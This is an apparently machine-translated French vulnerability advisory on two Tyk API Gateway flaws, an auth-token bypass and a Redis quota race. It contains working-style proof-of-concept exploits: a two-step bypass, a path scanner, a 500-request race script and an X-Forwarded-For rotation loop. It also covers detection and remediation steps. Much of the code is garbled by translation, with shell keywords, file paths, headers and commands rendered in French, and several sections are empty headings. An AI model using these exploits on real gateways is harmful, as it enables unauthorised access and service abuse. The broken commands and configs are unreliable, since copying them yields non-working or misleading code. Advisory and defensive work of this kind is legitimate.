Tyk API Gateway CVE-2026 : vulnérabilités de contournement d'authentification et de limitation de débit

Deux failles de sécurité critiques dans Tyk API Gateway – un contournement de validation de jeton d'authentification (CVE-2026-31872) et une vulnérabilité de contournement de limitation de quota/débit (CVE-2026-31873) – permettent à des attaquants non authentifiés d'accéder aux API protégées et de submerger les services backend. Tous les déploiements Tyk auto-hébergés exécutant les versions 5.0 à 5.3 sont concernés. Les correctifs sont disponibles dans Tyk 5.3.5 et 5.4.0.

Présentation de la vulnérabilité

Tyk API Gateway, une plate-forme de gestion d'API open source et commerciale populaire écrite en Go, s'est avérée contenir deux vulnérabilités critiques affectant son middleware d'authentification et son sous-système de limitation de débit. Révélées le 31 mars 2026, ces failles impactent les versions auto-hébergées de Tyk Gateway 5.0.x à 5.3.4 et proviennent d'erreurs logiques dans l'évaluation de la chaîne de middleware personnalisée de Tyk et dans le suivi des quotas basés sur Redis.

Les déploiements Tyk Cloud (SaaS) ont été corrigés silencieusement le 30 mars 2026. Les organisations exécutant Tyk auto-hébergé, y compris celles utilisant Tyk Operator sur Kubernetes, doivent effectuer une mise à niveau manuelle.

CVE-2026-31872 : Contournement du jeton d'authentification – Analyse technique approfondie

Analyse des causes profondes

CVE-2026-31872 est une faille critique dans Tyk Aller à la chaîne middleware du plugin évaluation. Lorsqu'une définition d'API configure à la fois un point de terminaison virtuel et un jeton d'authentification simultanément, le pipeline de traitement des requêtes de Tyk évalue le gestionnaire de point de terminaison virtuel avant de terminer la validation du jeton. Si le point de terminaison virtuel renvoie un modèle de réponse HTTP spécifique, en particulier un 200 OK avec un corps vide — le middleware d'authentification marque la demande comme pré-authentifiée et la transmet en amont sans vérifier le jeton de support fourni.

Le défaut réside dans passerelle/middleware/virtual_endpoint.go, où le Exécution() la méthode définit une clé de contexte partagée ctx.PreAuthenticated = vrai sous certaines conditions de réponse. Ce drapeau est ensuite lu par passerelle/middleware/auth_key.goc'est ProcessRequest() pour court-circuiter la validation des jetons – une conception destinée aux appels de service à service internes mais qui peut être déclenchée en externe.

Répartition des scores CVSS v3.1

Configurations d'API concernées

Tous les déploiements Tyk ne sont pas vulnérables. Le contournement d'authentification ne peut être déclenché que lorsque tous les trois des conditions suivantes sont présentes dans une définition d'API :

• Le type d'authentification est défini sur auth_token ou jwt
• Un point de terminaison virtuel est configuré pour n'importe quel chemin dans la même définition d'API
• La fonction JS du point de terminaison virtuel renvoie Réponse TykJs avec Code : 200 et un vide ou nul Corps

Preuve de concept d'exploitation

Ce qui suit illustre un exploit en deux étapes : d'abord déclencher le point de terminaison virtuel pour empoisonner l'indicateur de pré-autorisation, puis accéder immédiatement à un point de terminaison protégé avec un jeton non valide :

# Étape 1 : Déclenchez le point de terminaison virtuel avec une réponse 200 à corps vide
# Cela empoisonne l'indicateur PreAuthenticated dans le contexte de requête partagée de Tyk
curl -i -X POST https://api.example.com/v1/virtual-endpoint \
  -H "Autorisation : Porteur INVALID_TOKEN_AAAA" \
  -H "Type de contenu : application/json" \
  -d '{}'

# Réponse attendue de l'étape 1 (processus de point de terminaison virtuel avant l'authentification) :
# HTTP/2 200
# (corps vide — cela déclenche la vulnérabilité)

# Étape 2 : Accédez immédiatement à tout point de terminaison protégé sur la définition de la MÊME API
# avec N'IMPORTE QUEL jeton de porteur — la validation est ignorée en raison de l'indicateur pré-authentifié
curl -i https://api.example.com/v1/admin/users \
  -H "Autorisation : Porteur INVALID_TOKEN_AAAA" \
  -H "X-Request-ID : $(uuidgen)"

# Réponse vulnérable :
# HTTP/2 200
# {"users": [...]} ← Données complètes renvoyées sans authentification valide

# Scanner automatisé pour identifier les points de terminaison Tyk vulnérables
for path in /v1/users /v1/admin /v1/data /api/internal; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer AAAA.BBBB.CCCC" \
    "https://api.example.com${path}")
  echo "$path -> HTTP $STATUT"
fait

Exemple de définition d'API Tyk vulnérable

Le modèle de définition d'API suivant dans la configuration JSON de Tyk déclenche la vulnérabilité. Si votre déploiement contient des API correspondant à cette structure, considérez que vous courez un risque jusqu'à ce que le correctif soit appliqué :

// Définition de l'API Tyk vulnérable (tyk-api-def.json)
{
  "authentifier" : {
    "nom_en-tête_auth": "Autorisation",
    "use_param": FAUX
  },
  "use_keyless": FAUX,
  "use_standard_auth": vrai,
  "chemins_étendus" : {
    "virtuel": [
      {
        "nom_fonction_réponse": "maVirtualFunc",
        "type_source_fonction": "en ligne",
        "chemin": "point de terminaison virtuel",
        "méthode": "POSTE",
        // Si cette fonction renvoie {Code:200, Body:""} → déclenche le contournement
        "valeur_source_fonction": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code : 200, Body : ''}, session.meta_data); }"
      }
    ]
  }
}

CVE-2026-31873 : Limitation de débit et contournement de quota – Analyse technique approfondie

Analyse des causes profondes

CVE-2026-31873 est une condition de concurrence dans Tyk's Quota basé sur Redis et limitation du débit mise en œuvre. Lorsque Tyk traite des requêtes simultanées à partir de la même clé API, les opérations de vérification du quota et de décrémentation du quota sont effectuées dans deux commandes Redis distinctes et non atomiques (OBTENIR suivi de Déc). Un attaquant qui envoie des requêtes avec une simultanéité suffisamment élevée peut lire la même valeur de quota de pré-décrémentation sur plusieurs goroutines, multipliant ainsi le nombre de requêtes autorisées par le nombre de connexions simultanées.

Il s'agit d'une vulnérabilité TOCTOU (Time-of-Check, Time-of-Use) classique. Dans le code Tyk's Go (stockage/stockage.go, le ObtenirCléRaw + DécrémenterAvecExpire chemin), il n'y a pas de Redis MULTI/EXEC transaction ou MONTRE-verrouillage optimiste basé sur la logique de vérification puis de décrémentation, permettant à l'état du quota d'être lu comme obsolète sous une charge simultanée.

Preuve de concept d'exploitation

Le script bash suivant utilise GNU parallèle pour lancer 500 requêtes simultanées sur un point de terminaison protégé par Tyk configuré avec un quota de 50 req/min. Sur une instance vulnérable, la majorité réussira malgré la limite :

#!/bin/bash
# CVE-2026-31873 — Limite de taux Tyk TOCTOU Race PoC
# Déclenche 500 requêtes simultanées pour épuiser le quota sans déclencher de limites

CIBLE="https://api.example.com/v1/search"
API_KEY="tyk-valid-api-key-ici"
CONCURRENCE=500

echo "Lancement des requêtes simultanées $CONCURRENCY..."

séq 1 $CONCURRENCY | parallèle -j $CONCURRENCY \
  'curl -s -o /dev/null -w "%{code_http}\n" \
    -H "Autorisation : '"$API_KEY"'" \
    "'"$TARGET"'?q=test&page={}"' \
  | trier | uniq -c

# Attendu sur le système patché :
# 449 429 (tarif limité)
# 51 200 (dans la limite des quotas)

# Attendu sur le système vulnérable :
# 498 200 (contournement réussi — presque toutes les demandes réussissent)
# 2 429 (seules les requêtes les plus lentes sont limitées en débit)

Contournement supplémentaire via la manipulation d'en-tête

Sur les déploiements Tyk où activer_ip_whitelisting est faux et la passerelle fait confiance X-Forwarded-Pour, la clé de limitation de débit peut également être fragmentée en faisant pivoter l'en-tête IP source. Cela s’ajoute à la course TOCTOU pour un contournement quasi total des quotas :

# Combinez la rotation X-Forwarded-For avec des requêtes simultanées
# Chaque adresse IP unique obtient son propre compartiment de limite de débit dans la configuration par défaut de Tyk
pour je en $(seq 1 1000); faire
  FAKE_IP="10.$((ALÉATOIRE % 256)).$((ALÉATOIRE % 256)).$((ALÉATOIRE % 256))"
  curl -s -o /dev/null \
    -H "Autorisation : tyk-valid-api-key-here" \
    -H "X-Forwarded-For : $FAKE_IP" \
    "https://api.example.com/v1/data" &
  (( je % 100 == 0 )) && attendre
fait
attends

Tyk Cloud et auto-hébergé : comparaison d'impact

Détection : identifier l'exploitation dans votre environnement

Analyse des journaux de la passerelle Tyk

Tyk enregistre les décisions d'authentification dans un format JSON structuré. Les commandes suivantes identifient les requêtes qui ont contourné la validation du jeton (authentifiées sans clé valide) et les anomalies d'épuisement des quotas :

# Rechercher les requêtes pour lesquelles l'authentification a réussi mais aucune clé API n'a été validée
# Ceux-ci apparaissent sous forme de requêtes avec des champs auth_id vides ou réservés
chat /var/log/tyk/tyk.log \
  | jq -r 'select(.level == "info" et .msg == "Proxy request") | select(.auth_id == "" ou .auth_id == null)' \
  | jq '{time : .time, chemin : .path, ip : .remote_addr, auth_id : .auth_id}'

# Detect quota bypass: requests that succeeded after quota should be exhausted
# Look for API keys with >N demandes réussies à la dernière minute
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.code == 200) | .auth_id' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 100 { print "POTENTIAL_BYPASS : " $2 " — " $1 " requêtes réussies " }'

# Vérifiez la version de Tyk via l'API HTTP de la passerelle
curl -s http://localhost:8080/hello | jq '.version'

Vérification de l'état du quota Redis

Inspectez directement Redis pour vérifier si les compteurs de limitation de débit sont incrémentés correctement :

# Connectez-vous à votre instance Tyk Redis et inspectez les clés de quota
redis-cli -h votre-hôte-redis -p 6379 -a votre mot de passe

# Répertorier toutes les clés de limite de débit pour une clé API spécifique
CLÉS "quota-*votre-préfixe-de-clé-api*"

# Vérifiez la valeur actuelle et la durée de vie d'une clé de quota spécifique
OBTENEZ "quota-votre-hachage-de-clé-api"
TTL "quota-votre-hachage-de-clé-api"

# Si la valeur est supérieure à votre quota configuré, une exploitation peut avoir eu lieu
# Exemple : si le quota est de 100/min mais que le compteur affiche 450, enquêtez immédiatement

Guide de remédiation

Étape 1 : Mettre à niveau la passerelle Tyk

Le correctif définitif consiste à mettre à niveau vers Tyk Gateway 5.3.5 ou 5.4.0. Les deux versions incluent un pipeline Redis atomique pour les opérations de quota et une réécriture de la gestion des indicateurs de pré-autorisation du point de terminaison virtuel.

# Docker — mise à niveau vers une image corrigée
docker pull tykio/tyk-gateway:v5.3.5
docker stop tyk-gateway && docker rm tyk-gateway
docker run -d --name tyk-gateway \
  -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \
  -v $(pwd)/apps:/opt/tyk-gateway/apps \
  -p 8080:8080 \
  tykio/tyk-passerelle : v5.3.5

# Kubernetes via Helm — mettre à jour Tyk Operator
dépôt de barre ajouter tyk-helm https://helm.tyk.io/public/helm/charts/
mise à jour du dépôt de barre
mise à niveau de la barre tyk-gateway tyk-helm/tyk-gateway \
  --espace de noms type \
  --set gateway.image.tag=v5.3.5 \
  --reuse-values

# Mise à niveau binaire sous Linux
curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz\
  -o tyk-v5.3.5.tar.gz
tar -xzf tyk-v5.3.5.tar.gz
sudo systemctl arrêter tyk-gateway
sudo cp tyk /opt/tyk-gateway/tyk
sudo systemctl start tyk-gateway

# Vérifier la version après la mise à niveau
curl -s http://localhost:8080/hello | jq '.version'
# Attendu : "v5.3.5" ou "v5.4.0"

Étape 2 : Désactiver les points de terminaison virtuels sur les API protégées par authentification (atténuation provisoire)

Si une mise à niveau immédiate n'est pas possible, désactivez les points de terminaison virtuels sur toute définition d'API qui utilise l'authentification par jeton. Modifiez la définition d'API JSON et définissez la liste des chemins virtuels sur vide :

// Dans votre fichier de définition d'API Tyk — supprimez ou videz la liste des points de terminaison virtuels
{
  "chemins_étendus" : {
    "virtuel": []  // ← Définir sur un tableau vide pour désactiver les points de terminaison virtuels
  }
}

# Postuler via l'API Tyk Dashboard
curl -X PUT https://votre-tyk-dashboard:3000/api/apis/{api-id} \
  -H "autorisation : clé-utilisateur-de-votre-tableau de bord" \
  -H "Type de contenu : application/json" \
  -d @patched-api-def.json

# Ou recharger via un rechargement à chaud si vous utilisez une configuration basée sur un fichier
kill -SIGHUP $(pgrep épais)

Étape 3 : Renforcer la limitation du débit avec les opérations atomiques Redis (CVE-2026-31873)

Jusqu'à ce que vous puissiez effectuer la mise à niveau, activez l'expérimentation de Tyk activer_redis_rolling_limiter option, qui utilise un pipeline atomique scripté Lua dans Redis et n'est pas vulnérable à la course TOCTOU :

// tyk.conf — active le limiteur de taux de roulement atomique (disponible dans Tyk 5.0+)
{
  "enable_redis_rolling_limiter": vrai,
  "enable_sentinel_rate_limiter": FAUX,
  "drl_notification_payload_size": 0,

  // Restreindre également les adresses IP de confiance pour X-Forwarded-For afin de bloquer le contournement de la rotation IP
  "allowed_ips": ["10.0.1.10", "10.0.1.11"],
  "enable_ip_whitelisting": vrai
}

Étape 4 : Valider la correction

# Test 1 : Vérifiez que le contournement d'authentification est corrigé - devrait renvoyer 401
curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \
  -H "Autorisation : Porteur INVALID_TOKEN_AAAA" \
  -d '{}'
# Attendu sur le système corrigé : HTTP/2 401 non autorisé

# Test 2 : Vérifier que la limitation de débit s'applique correctement
pour je dans $(seq 1 60); faire
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Autorisation : Porteur de votre clé valide" \
    "https://votre-gateway.example.com/v1/test")
  echo "Demande $i : HTTP $CODE"
fait
# Après votre limite de quota, vous devriez systématiquement voir 429 demandes en trop

Recommandations supplémentaires en matière de durcissement

1. Activez le TLS mutuel (mTLS) de Tyk pour les connexions en amont : Même si la passerelle est compromise, les services backend protégés par mTLS nécessitent un certificat client valide, fournissant ainsi une couche de protection supplémentaire que les attaquants ne peuvent pas facilement contourner.
2. Utilisez la limitation de débit IP intégrée de Tyk au niveau du réseau : Configurer max_conn_time et des limites de taux de connexion dans votre proxy inverse (nginx/Envoy) devant Tyk pour limiter la concurrence disponible pour l'exploitation.
3. Auditez toutes les définitions d'API pour les combinaisons point de terminaison virtuel + authentification : Exécutez l'exportation de l'API Tyk Dashboard et recherchez les API avec les deux use_standard_auth : vrai et un non vide virtuel tableau.
4. Activez les analyses de Tyk et définissez des alertes de quota : Configurez Tyk Pump pour transmettre les analyses à votre SIEM (Splunk, Elastic). Définissez des alertes pour toute clé API dépassant 150 % de son quota configuré dans une fenêtre d'une minute glissante.
5. Faites pivoter toutes les clés API émises avant la date du correctif : En cas d'exploitation, toute clé utilisée contre un point de terminaison vulnérable peut avoir été observée par un attaquant. La rotation groupée des clés de Tyk Dashboard peut être programmée via l'API Admin.

# Script d'audit : trouver toutes les définitions d'API vulnérables (combo virtuel + auth)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
  -H "authorization: your-dashboard-key" \
  | jq -r '.apis[] | select(
      .api_definition.use_standard_auth == true and
      (.api_definition.extended_paths.virtual | length > 0)
    ) | "VULNÉRABLE : " + .api_definition.name + " (" + .api_definition.api_id + ")"'

Chronologie de la divulgation